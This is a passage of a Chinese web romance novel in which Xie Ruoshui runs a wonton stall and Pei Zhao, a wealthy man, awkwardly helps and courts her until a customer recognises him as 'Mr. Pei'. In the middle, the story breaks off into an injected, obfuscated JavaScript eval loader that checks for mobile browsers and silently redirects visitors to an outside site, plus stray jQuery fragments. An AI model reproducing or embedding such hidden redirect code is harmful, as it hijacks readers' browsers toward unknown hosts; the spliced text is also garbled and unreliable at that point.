脑子里刚冒出一个不切实际的念头,那只手就真的贴到了她的脚腕上。
掌心的温度透过肌肤,烫得她一激灵。
“我……”谢若水磕巴了一下,“我自己……”
“数你的钱,等下又忘了。”裴昭垂着头,几缕发丝散落额前,衬着那双英气的眉眼。
谢若水脑子都空了,“我是开玩笑的,我自己也得吃饭,我还不至于那么小气……”
“数钱。”裴昭说。
谢若水低下了头,但余光不受控地移到了那只修长的手上。
裴昭表面乍唬,一旦动手就十分温柔细致。
掌心贴在薄薄的肌肤上,挟着药水,来回,不厌其烦地打转,将热量一点一点压进皮肉里。
谢若水想起他画画的模样,蹲在院子里,一笔一笔,不厌其烦地叠加。
不知道是药水还是体温导致的,谢若水总觉得他掌心温度出奇高。
她拨了拨盒里的钱,指尖带起一堆硬币的碰撞,叮铃当啷响。
密闭的客厅里,一股莫名其妙的气氛在小心翼翼的疼痛中蔓延来开。
谢若水感觉自己呼吸的声音都有点大了,脸上热乎乎的。
“你明天真要出摊?”裴昭问。
“……嗯。”谢若水点点头。
裴昭仿佛下了一个特别沉重的决心,深深吸了口气,“那你明早叫我。”
谢若水嘴角抽了抽,没忍住笑出来。
裴昭恼火地抬起眼。
谢若水回过头,“不好意思,一想到那个画面就有点想笑。”
裴昭没说话。
谢若水笑得上身都歪过去了,“为什么啊,裴昭?”
为什么?
裴昭。
裴昭也这样问自己。
他看着少女发红的脸,闪亮的眼睛,一遍遍叩问自己的心。
为什么?
为什么一次一次,一次一次地靠近,探索,想要触碰?
裴昭在昏黄灯光下拨开了那片笼罩已久的雾。
他嘴唇微张,却答不出话。
“……你管我,”裴昭低下头,耳根发烫,摩挲着凸起的脚踝,“我乐意。”
人有时候真的不能太任性。
不该做的事情强行去做,老天爷就会出手。
天不亮迷迷瞪瞪起来踩摊车已经够糟心的了,还没出厂区又碰上了一个非常不想见到的人。
他的好兄弟悠闲地开着小轿车,拐出墙角,冲他按了一声长长的喇叭,然后降下车窗,含笑看着他。
裴昭面无表情地加快踩踏板的速度,仿佛什么都没听见。
谢若水踩着房东老太太锈迹斑斑的二八大杠,很热情地在后面跟唐镇军寒暄:“你们这么早打哪儿回来啊?”
“去看了场日出,”唐镇军笑着说,“裴昭今天很有活力嘛。”
裴昭回头喊了一声:“走啦!”
“来了来了!我走啦……”谢若水挥挥手,看着副驾上的叶霜花,“你俩好般配啊,俊男靓女!”
“谢谢。”唐镇军颔首。
谢若水猛踩几下踏板,追上裴昭,“你跟你朋友说话都这么不客气吗?”
“我还不客气?”裴昭一脸被羞辱的怒容,“我就应该下去揍他。”
谢若水满脑子都是叶霜花,再一次无视了他的屈辱,“你说他们都去看日出了,是不是快成了?”
“你看个日出就能喜欢上一个人吗?”裴昭觉得莫名其妙。
“但是和不喜欢的人看什么日出?”谢若水说。
裴昭偏头看向她。
那我请你去看,你会去吗?
今天有出太阳的趋势,灰沉沉的云雾里裂开了几道金线,地面亮度陡然拔高。
谢若水的脸显得白了很多,微微泛着红,马尾一荡一荡的,朝气蓬勃。
像个单纯的女学生。
裴昭收回视线,把话咽进肚子里,“丫头,你有没有喜欢过别人?”
“没有。”谢若水很果断。
裴昭嘴角一翘,“真的?”
“是没有啊,”谢若水说,“挣钱都来不及,谁有空搞那些。”
裴昭点点头,本来挺高兴的,但一听到她是因为忙着挣钱才错过青春里的少女情怀,又有点心疼。
“其实……”裴昭低声说,“你想要什么?目前。”
“想买个店面,学校那边有几个店面两三百一平的,全款一万多吧,我努努力,干上几个月应该就可以拿下了。”谢若水喘了口气,自行车不累人,但脚腕踩久了还是会疼。
她低下头看了眼自己的伤。
“我送你。”裴昭说。
谢若水手一个哆嗦,车头跟着一扭,二八大杠特别高,脚够不到地,咣当咣当一串响,眼看着就要翻了。
裴昭伸手稳住了车把。
谢若水两只脚都没在踏板上了,惊魂不定地转头,瞪着眼睛。
裴昭没看她,冷峻的眼注视前方,“我再怎么落魄,一万来块钱还是送得出手的。”
“……无功不受禄。”谢若水说。
裴昭闭了闭眼。
就知道。
他也找不到任何莫名其妙给姑娘送个店面的理由。
谢若水只当他可怜自己,本着礼尚往来的原则,善意地给他泄露了一点天机:“你手头有闲钱的话,可以多买几套房,以后肯定涨。”
裴昭无语地看了看她,“我要房子干什么?”
“会涨价啊。”谢若水说。
“我家不缺房子。”裴昭说。
谢若水强调:“会涨很多的!”
“涨多少我家也不缺房子!”裴昭说。
谢若水:“……”
所以说,都是命!都是命!
还有什么比回到过去劝别人买房别人不肯买更气人的呢!
谢若水一向平静无澜的心都沸腾了,不想再看这个糟心货,脚下一使劲,窜到了前面去。
裴昭也在恼火。
因为谢若水不要他的店面。
他也是个很清高的人,但他这会儿就像那些背地里骂他清高的人一样,很不爽地在心里骂了谢若水一句:笨蛋。
但谢若水的魅力也在于此。
他看着谢若水的背影想。
谢若水逆着风,灰色衬衫被风鼓得很肥大,胳膊都看不见了,两只劲瘦的腿交替着踩踏板。
她像茫茫晨雾里一丝柳絮,毫不起眼,但仔细看,就能发现其中奥妙。
别的柳絮都顺风飞,只有她心无旁骛地走自己的路,全然不受狂风影响。
纽扣厂街口的摊子今天画风清奇,每辆摊车都涂涂抹抹整了点颜料上去,还有挂横幅插彩旗的。
“真有创意。”谢若水表扬。
裴昭揉着面团,沉默地忍受着视觉污染。
“别这样揉,”谢若水凑过去,手往他手边一放,手腕按着面团往前一碾,“看见了吗?搓衣服一样往前搓,用点力气。”
案板没多大,谢若水要给他演示,肩臂就贴在一起了,小一圈的胳膊,贴着健壮的手臂,都染上了面粉。
清冽的发香赶跑了早晨寡淡的凉风,淡淡的,盈上鼻腔,勾着人心乱。
裴昭手上动作停了下来,斜过眼,看向谢若水挨过来的脑袋。
这丫头,永远不知道什么叫男女之防,真该教训一下。
“你陪我出摊也挺好的,”谢若水往案上一撑,在这样亲密的距离里,抬起一张坦荡的脸,“天天在家多无聊啊,还不如出来帮我包馄饨,我挣了钱就请你吃好……”
裴昭倏然垂头。
双眼的距离霎时拉近,睫毛几乎要蹭在一起,嘴唇若即若离,悬在一寸之间。
谢若水长睫一跳,瞳孔颤动着。
这样一张年轻俊美的脸蛋,直冲冲照着自己扑过来,灵魂都要出窍了。
裴昭能感受到她呼吸的停滞,五指深深陷进面团,克制着往前靠的冲动,嗓音低沉:“说过了,我是男人,能记住吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553414|203557||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
谢若水张着嘴。
啊……
“以后不要再有这样的距离。”裴昭一瞬不瞬地盯着她,黑眸透着危险。
谢若水:嗯……
裴昭知道再这么对视下去,自己恐怕会失控,抽了身,低头猛掐面团,把情绪全发泄在面团上。
谢若水僵直半天,三魂七魄才陆续归位,眼睛眨巴了好几下。
能记住吗?
以后不要再有这样的距离。
裴昭对自己的表现本来还算满意,但他揉了没几下,突然听见一声憋不住的笑。
“不好意思,”谢若水捂着嘴,眼睛弯弯,“想起以前看的一些电视剧。”
裴昭心态顿时崩了。
没有人可以治治这丫头吗!
“走了,工厂上班了,去商业街!”谢若水笑着到树底下推二八大杠。
今天气温明显低了一大截,骑车的时候感觉特别明显,冷气直往衣领里钻。
谢若水把脚踏车停好,跳下来搓了搓胳膊,正盘算着中午去买两件外套,旁边从摊车上下来的裴昭就动了。
他大步走向对面的服装店。
这个点能开门的服装店大多是卖批发的,什么衣服都有,清一色的丑陋。
他从一众花花绿绿的劣质外套里,艰难地挑了一件完全没有花纹的浅蓝色针织衫,拎回来递给谢若水。
谢若水愣了愣,接过了,“谢谢……”
“小妹妹!”两个公司白领结伴跑了过来,热情地说,“要两碗馄饨!”
“啊!好!一碗不要葱花是吧?”谢若水套上衣服,瞬间进入营业状态。
裴昭把摊车里那盆还没有剁细的肉馅儿端了出来。
人对人的影响还是很大的,跟谢若水待上一段时间,裴昭发现自己有个短板进步迅猛。
脸皮肉眼可见地厚了。
都是让谢若水一个榔头一个榔头锤炼的。
俩白领一边热络地跟谢若水聊天,一边暗戳戳看他,他举着刀哐哐哐剁肉馅,面不改色。
或许也是对这种生活的一种认可。
他发现这些在街头摸爬滚打的人,没有想象中那么寒碜,甚至偶尔会发光。
商业街的客人来得没那么密,一阵一阵的,而且卡点上班的打工人等不起,有人排队就不来买了。
谢若水送走一批熟客,捏着馄饨,“这天看着像要放晴了啊,你中午想吃什么?”
裴昭往她手上扫了一眼,“你这样就算捏好了?”
谢若水掌心摊着一叠面皮,木棍一抹,拇指一按,一滑,半秒不到,一个馄饨就落进了竹屉里。
“对啊。”她说。
裴昭吃惊地怼在竹屉前,只觉得一片片雪花洒了下来。
赌王里发牌也就这个速度。
谢若水说:“我们以前厂里包馄饨比赛,我三分钟两百个,这是自己出摊,我得多包点肉进去,要不更快,刷刷刷刷刷刷……”
果然是行行出状元。
裴昭看了一会儿,还是先提出了自己的诉求:“我想吃牛肉。”
“没有。”谢若水说。
裴昭只好换一个,“鱼,一片一片不加辣的鱼。”
“没有。”谢若水说。
“不是,”裴昭纳闷地看着她,“那你有什么?”
“猪肉啊,”谢若水好笑,“我肯定只有猪肉啊,大中午去超市买菜多贵啊。”
“就一个选择有什么好问的?”裴昭咬牙。
“猪肉可以红烧,炖汤,糖醋,爆炒,做法很多嘛。”谢若水理所当然地说。
裴昭不想再跟她交流了,聊多了总感觉自己像个傻子。
“两份馄饨。”胖男人气喘吁吁地跑过来。
谢若水忙应声:“你今天比平时晚啊。”
“今天等公交……”胖男人注意到旁边醒目的裴昭,脸色一变,“裴总?”
“总?”谢若水扭过头。
裴昭没说话,周身的气压瞬间低了下去。